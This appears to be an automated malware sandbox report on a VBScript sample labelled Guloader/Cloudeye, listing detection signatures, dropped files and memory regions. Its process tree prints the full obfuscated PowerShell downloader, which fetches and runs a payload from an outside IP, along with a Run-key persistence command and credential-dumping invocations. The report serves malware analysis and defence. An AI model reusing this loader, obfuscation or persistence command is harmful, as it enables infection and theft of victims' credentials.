Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/06/2024, 01:31

General

  • Target
    c8752c52764d7a7a3d3e6f4a40ea66642c56ccba561144e454d04abd40877947.vbs
  • Size 12KB
  • Sample240622-bxveeavdnq
  • SHA256 c8752c52764d7a7a3d3e6f4a40ea66642c56ccba561144e454d04abd40877947
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c8752c52764d7a7a3d3e6f4a40ea66642c56ccba561144e454d04abd40877947.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;$Gromatics = 1;$Douses='Su';$Ankomststationen='ing';Function Cryptorrhesis($Mozettas){$Preedits=$Mozettas.Length-$Gromatics;$Reinvolves=$Douses+'bstr'+$Ankomststationen;For( $Questionnaire=1;$Questionnaire -lt $Preedits;$Questionnaire+=2){$Computerteknologiers+=$Mozettas.$Reinvolves.Invoke( $Questionnaire, $Gromatics);}$Computerteknologiers;}function Antedateringerne($Punning){ . ($munkeordenens) ($Punning);}$Pumpens=Cryptorrhesis 'SM.o zLiClFlKaP/,5 .,0 (BWAi nDdAoFw sE MN T, .1h0..M0 ;N WAiFn.6C4B; gx 6 4.; ArLvM: 1 2,1C.,0S)S .G e c,kIoB/ 2A0g1,0.0f1 0I1L F i rseEf.o,xS/,1,2 1 ..0E ';$Begejstringsrus=Cryptorrhesis 'AUSs,eNrB- A g,eMn,t, ';$Epispadiac=Cryptorrhesis ' hItOtBp :U/ /F9R4v. 1V5P6H.K7M9A.W8 6F/DHUa vBn edfMo g eMd ePnVe,rtsM. a.a.fU ';$Chartringens=Cryptorrhesis ' >. ';$munkeordenens=Cryptorrhesis ' iDeKxT ';$sociologsk='Bruskfisken';$Petulantly = Cryptorrhesis ',eUcAhMot %Ea p.p d.a tTaU%P\TBBy.g n,iHnMg,sBkEo n,d u,kOt,rT. AWd mD W&,&P eeGcBhSoM Et ';Antedateringerne (Cryptorrhesis ',$ gAlMoAbRaKlO: H y lDo bMa t,e s = ( c mSd. / cW $ PPe,tLuSl,a,n,tslVy,). ');Antedateringerne (Cryptorrhesis 'N$.gHl,o.b,aGlW:SEUohpta,l,aEe.oVzBoBiEc =R$ EspKiKs p a dIi a,cP..s,pUl iBtN(M$VC.h a rat r i n.gBeWn,sH). ');Antedateringerne (Cryptorrhesis ' [MN e t . S.eRrSvSi,cHePP o iUnTt,MRaOn a.gte r,],: :.SUe cGu rMiSt.ySPPrHo.t o c.o lG = P[bNCeUtt.,SFe cFu rPiAt y P rVokt o c o l,T y pHe ] :B:ST lpsA1 2, ');$Epispadiac=$Eopalaeozoic[0];$Heptarchs= (Cryptorrhesis 'K$ g l oDb aAl.: C.hIu fDf,iNn,eAs sP=SNaeCwG-LOib j e.cAtF ,S y sUtBeBmT. N.eOtV..W e b CFl.i.e.nPt');$Heptarchs+=$Hylobates[1];Antedateringerne ($Heptarchs);Antedateringerne (Cryptorrhesis 'R$ CGhBu fBfHi n,eSs,sT. HIeSa dKe,rMsR[ $MBSeCgSeDjCsTtBr i nMg sSrwu.s,] =,$PPUu,mEp eLnPs ');$Frate=Cryptorrhesis ' $DCVh uCf,fDiUnfebs sL.PDFo w,n lSo aud F,i l e,(T$ EPp i sOpfa dSi,aEcP,,$SPMesr.f e.kUt iMbZe,l )F ';$Perfektibel=$Hylobates[0];Antedateringerne (Cryptorrhesis ' $,g l o b.aFlM:OTBrpy.kUl u f t sBb e.h oVl.d,e rLe.sf= ( T e sRt,- PSaRt.hE M$IP e r f eGkPt iDbAe lN). ');while (!$Trykluftsbeholderes) {Antedateringerne (Cryptorrhesis ' $eg l,oPb a.l :,oRuAtFj,oDuWrRnPebyHe d.= $HtTrKu eM ') ;Antedateringerne $Frate;Antedateringerne (Cryptorrhesis 'FS tDa.r tC- S l eMe pT .4. ');Antedateringerne (Cryptorrhesis 'K$ gSlSo b,a l :VTGr y k lyuCfLtDs bDe.hIoRl d eDrKets.= (jT,eOsTtH-BP a.t h $ P eTr.fTe k tSiSbOeKlG), ') ;Antedateringerne (Cryptorrhesis 'T$.g lco b aBl :MKPa,s tUrAa t i o,nReUrAs.=F$Bg lCoVb amls:ISCe,lCfSmPa dJeP+R+L%C$VE o,pAaulHa,eIoGz,o,i cd..cSoJuSnntT ') ;$Epispadiac=$Eopalaeozoic[$Kastrationers];}$Isaiah=364627;$Chelifer=26069;Antedateringerne (Cryptorrhesis ' $ gFl oUb,a.lh:DR eFk,lRa mSe,a.r t,i kGlTePnB A= ,G eStU- Cao nBt.eKnCt P$WPGeSrNfRe k,t i b.eBlI ');Antedateringerne (Cryptorrhesis 'V$VgBlGo,bTaBl :.F.ifl hPaSaInFd,t eSrAianUg s, =, [TSryDsStKeCmL. CAoBn v ePr tF],:.: FBrNoNmSBSa sPeO6K4 S tBr.iFnDg (.$URLe,kfl.a m,eSa r tFiDk l eMn ) ');Antedateringerne (Cryptorrhesis ' $OgVl.o,b a lf:SG,r,e e.nDhPiSdDeH =L [TS,y sItPeHmF.BTne.x tN. ELn cVo d i,nRgE]S: : A S CLIWIC..GMePtFS t r iRntg ( $aF iEl.h aDa n dSt e r.iRnSgHsR) ');Antedateringerne (Cryptorrhesis ' $ gLlGo bUaOlO:.D,aFmGpCs kOi b sKsaeKl sNkNa bIe.rT9,6 =U$PG rRe eFnUhDiLdreT.BsPu,b s t r,iKn g.( $ IDsYaEi,aBhE,M$SCSh eUlSiFf eLrI) ');Antedateringerne $Dampskibsselskaber96;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2544
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bygningskonduktr.Adm && echo t"
        3⤵
          PID:3656
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;$Gromatics = 1;$Douses='Su';$Ankomststationen='ing';Function Cryptorrhesis($Mozettas){$Preedits=$Mozettas.Length-$Gromatics;$Reinvolves=$Douses+'bstr'+$Ankomststationen;For( $Questionnaire=1;$Questionnaire -lt $Preedits;$Questionnaire+=2){$Computerteknologiers+=$Mozettas.$Reinvolves.Invoke( $Questionnaire, $Gromatics);}$Computerteknologiers;}function Antedateringerne($Punning){ . ($munkeordenens) ($Punning);}$Pumpens=Cryptorrhesis 'SM.o zLiClFlKaP/,5 .,0 (BWAi nDdAoFw sE MN T, .1h0..M0 ;N WAiFn.6C4B; gx 6 4.; ArLvM: 1 2,1C.,0S)S .G e c,kIoB/ 2A0g1,0.0f1 0I1L F i rseEf.o,xS/,1,2 1 ..0E ';$Begejstringsrus=Cryptorrhesis 'AUSs,eNrB- A g,eMn,t, ';$Epispadiac=Cryptorrhesis ' hItOtBp :U/ /F9R4v. 1V5P6H.K7M9A.W8 6F/DHUa vBn edfMo g eMd ePnVe,rtsM. a.a.fU ';$Chartringens=Cryptorrhesis ' >. ';$munkeordenens=Cryptorrhesis ' iDeKxT ';$sociologsk='Bruskfisken';$Petulantly = Cryptorrhesis ',eUcAhMot %Ea p.p d.a tTaU%P\TBBy.g n,iHnMg,sBkEo n,d u,kOt,rT. AWd mD W&,&P eeGcBhSoM Et ';Antedateringerne (Cryptorrhesis ',$ gAlMoAbRaKlO: H y lDo bMa t,e s = ( c mSd. / cW $ PPe,tLuSl,a,n,tslVy,). ');Antedateringerne (Cryptorrhesis 'N$.gHl,o.b,aGlW:SEUohpta,l,aEe.oVzBoBiEc =R$ EspKiKs p a dIi a,cP..s,pUl iBtN(M$VC.h a rat r i n.gBeWn,sH). ');Antedateringerne (Cryptorrhesis ' [MN e t . S.eRrSvSi,cHePP o iUnTt,MRaOn a.gte r,],: :.SUe cGu rMiSt.ySPPrHo.t o c.o lG = P[bNCeUtt.,SFe cFu rPiAt y P rVokt o c o l,T y pHe ] :B:ST lpsA1 2, ');$Epispadiac=$Eopalaeozoic[0];$Heptarchs= (Cryptorrhesis 'K$ g l oDb aAl.: C.hIu fDf,iNn,eAs sP=SNaeCwG-LOib j e.cAtF ,S y sUtBeBmT. N.eOtV..W e b CFl.i.e.nPt');$Heptarchs+=$Hylobates[1];Antedateringerne ($Heptarchs);Antedateringerne (Cryptorrhesis 'R$ CGhBu fBfHi n,eSs,sT. HIeSa dKe,rMsR[ $MBSeCgSeDjCsTtBr i nMg sSrwu.s,] =,$PPUu,mEp eLnPs ');$Frate=Cryptorrhesis ' $DCVh uCf,fDiUnfebs sL.PDFo w,n lSo aud F,i l e,(T$ EPp i sOpfa dSi,aEcP,,$SPMesr.f e.kUt iMbZe,l )F ';$Perfektibel=$Hylobates[0];Antedateringerne (Cryptorrhesis ' $,g l o b.aFlM:OTBrpy.kUl u f t sBb e.h oVl.d,e rLe.sf= ( T e sRt,- PSaRt.hE M$IP e r f eGkPt iDbAe lN). ');while (!$Trykluftsbeholderes) {Antedateringerne (Cryptorrhesis ' $eg l,oPb a.l :,oRuAtFj,oDuWrRnPebyHe d.= $HtTrKu eM ') ;Antedateringerne $Frate;Antedateringerne (Cryptorrhesis 'FS tDa.r tC- S l eMe pT .4. ');Antedateringerne (Cryptorrhesis 'K$ gSlSo b,a l :VTGr y k lyuCfLtDs bDe.hIoRl d eDrKets.= (jT,eOsTtH-BP a.t h $ P eTr.fTe k tSiSbOeKlG), ') ;Antedateringerne (Cryptorrhesis 'T$.g lco b aBl :MKPa,s tUrAa t i o,nReUrAs.=F$Bg lCoVb amls:ISCe,lCfSmPa dJeP+R+L%C$VE o,pAaulHa,eIoGz,o,i cd..cSoJuSnntT ') ;$Epispadiac=$Eopalaeozoic[$Kastrationers];}$Isaiah=364627;$Chelifer=26069;Antedateringerne (Cryptorrhesis ' $ gFl oUb,a.lh:DR eFk,lRa mSe,a.r t,i kGlTePnB A= ,G eStU- Cao nBt.eKnCt P$WPGeSrNfRe k,t i b.eBlI ');Antedateringerne (Cryptorrhesis 'V$VgBlGo,bTaBl :.F.ifl hPaSaInFd,t eSrAianUg s, =, [TSryDsStKeCmL. CAoBn v ePr tF],:.: FBrNoNmSBSa sPeO6K4 S tBr.iFnDg (.$URLe,kfl.a m,eSa r tFiDk l eMn ) ');Antedateringerne (Cryptorrhesis ' $OgVl.o,b a lf:SG,r,e e.nDhPiSdDeH =L [TS,y sItPeHmF.BTne.x tN. ELn cVo d i,nRgE]S: : A S CLIWIC..GMePtFS t r iRntg ( $aF iEl.h aDa n dSt e r.iRnSgHsR) ');Antedateringerne (Cryptorrhesis ' $ gLlGo bUaOlO:.D,aFmGpCs kOi b sKsaeKl sNkNa bIe.rT9,6 =U$PG rRe eFnUhDiLdreT.BsPu,b s t r,iKn g.( $ IDsYaEi,aBhE,M$SCSh eUlSiFf eLrI) ');Antedateringerne $Dampskibsselskaber96;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3588
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bygningskonduktr.Adm && echo t"
            4⤵
              PID:2512
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:3864
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Bedframes" /t REG_EXPAND_SZ /d "%Piker% -w 1 $cirripede=(Get-ItemProperty -Path 'HKCU:\Fodenden\').Meningskorrekturer;%Piker% ($cirripede)"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1724
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Bedframes" /t REG_EXPAND_SZ /d "%Piker% -w 1 $cirripede=(Get-ItemProperty -Path 'HKCU:\Fodenden\').Meningskorrekturer;%Piker% ($cirripede)"
                  6⤵
                  • Adds Run key to start application
                  • Modifies registry key
                  PID:1060
              • C:\Program Files (x86)\windows mail\wab.exe
                "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\syhxqlbqvbxtvajheddsoavjowepoz"
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:4560
              • C:\Program Files (x86)\windows mail\wab.exe
                "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dauhrdmsjjpyfoxlvnqtrfpapcwyhcrjj"
                5⤵
                  PID:4188
                • C:\Program Files (x86)\windows mail\wab.exe
                  "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dauhrdmsjjpyfoxlvnqtrfpapcwyhcrjj"
                  5⤵
                    PID:688
                  • C:\Program Files (x86)\windows mail\wab.exe
                    "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dauhrdmsjjpyfoxlvnqtrfpapcwyhcrjj"
                    5⤵
                      PID:632
                    • C:\Program Files (x86)\windows mail\wab.exe
                      "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dauhrdmsjjpyfoxlvnqtrfpapcwyhcrjj"
                      5⤵
                        PID:4436
                      • C:\Program Files (x86)\windows mail\wab.exe
                        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dauhrdmsjjpyfoxlvnqtrfpapcwyhcrjj"
                        5⤵
                        • Accesses Microsoft Outlook accounts
                        PID:4972
                      • C:\Program Files (x86)\windows mail\wab.exe
                        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\fvaas"
                        5⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4040

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    __PSScriptPolicyTest_gpyxvcjf.r2o.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gpyxvcjf.r2o.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    syhxqlbqvbxtvajheddsoavjowepoz

                    • Path C:\Users\Admin\AppData\Local\Temp\syhxqlbqvbxtvajheddsoavjowepoz
                    • Size 4KB
                    • SHA256 6480ae6b5690c82540ec16e2d7612cf5bc7cd2ecb409f68058705b99c8013817
                    • MD5 SHA1 SHA512 SSDEEP

                    Bygningskonduktr.Adm

                    • Path C:\Users\Admin\AppData\Roaming\Bygningskonduktr.Adm
                    • Size 508KB
                    • SHA256 f107ac1527d495e76fd9dc3b09df1b1f1984dec45684ea829a9e62e5bec2c15c
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/2544-7-0x000001B87F3F0000-0x000001B87F412000-memory.dmp

                    memory/2544-15-0x00007FFA6F320000-0x00007FFA6FDE1000-memory.dmp

                    memory/2544-16-0x00007FFA6F320000-0x00007FFA6FDE1000-memory.dmp

                    memory/2544-49-0x00007FFA6F320000-0x00007FFA6FDE1000-memory.dmp

                    memory/2544-45-0x00007FFA6F320000-0x00007FFA6FDE1000-memory.dmp

                    memory/2544-44-0x00007FFA6F323000-0x00007FFA6F325000-memory.dmp

                    memory/2544-4-0x00007FFA6F323000-0x00007FFA6F325000-memory.dmp

                    memory/3588-22-0x00000000054D0000-0x0000000005536000-memory.dmp

                    memory/3588-40-0x0000000007C50000-0x00000000081F4000-memory.dmp

                    memory/3588-35-0x0000000005CC0000-0x0000000005D0C000-memory.dmp

                    memory/3588-36-0x00000000075D0000-0x0000000007C4A000-memory.dmp

                    memory/3588-37-0x00000000061D0000-0x00000000061EA000-memory.dmp

                    memory/3588-38-0x0000000006F50000-0x0000000006FE6000-memory.dmp

                    memory/3588-39-0x0000000006C50000-0x0000000006C72000-memory.dmp

                    memory/3588-19-0x0000000004650000-0x0000000004686000-memory.dmp

                    memory/3588-33-0x0000000005660000-0x00000000059B4000-memory.dmp

                    memory/3588-42-0x0000000008200000-0x000000000D4D7000-memory.dmp

                    memory/3588-23-0x00000000055F0000-0x0000000005656000-memory.dmp

                    memory/3588-21-0x00000000053B0000-0x00000000053D2000-memory.dmp

                    memory/3588-20-0x0000000004D50000-0x0000000005378000-memory.dmp

                    memory/3588-34-0x0000000005C30000-0x0000000005C4E000-memory.dmp

                    memory/3864-46-0x0000000002260000-0x0000000007537000-memory.dmp

                    memory/3864-66-0x00000000234A0000-0x00000000234B9000-memory.dmp

                    memory/3864-69-0x00000000234A0000-0x00000000234B9000-memory.dmp

                    memory/3864-70-0x00000000234A0000-0x00000000234B9000-memory.dmp

                    memory/4040-62-0x0000000000400000-0x0000000000424000-memory.dmp

                    memory/4040-61-0x0000000000400000-0x0000000000424000-memory.dmp

                    memory/4040-63-0x0000000000400000-0x0000000000424000-memory.dmp

                    memory/4560-52-0x0000000000400000-0x0000000000478000-memory.dmp

                    memory/4560-54-0x0000000000400000-0x0000000000478000-memory.dmp

                    memory/4560-53-0x0000000000400000-0x0000000000478000-memory.dmp

                    memory/4972-57-0x0000000000400000-0x0000000000462000-memory.dmp

                    memory/4972-56-0x0000000000400000-0x0000000000462000-memory.dmp

                    memory/4972-55-0x0000000000400000-0x0000000000462000-memory.dmp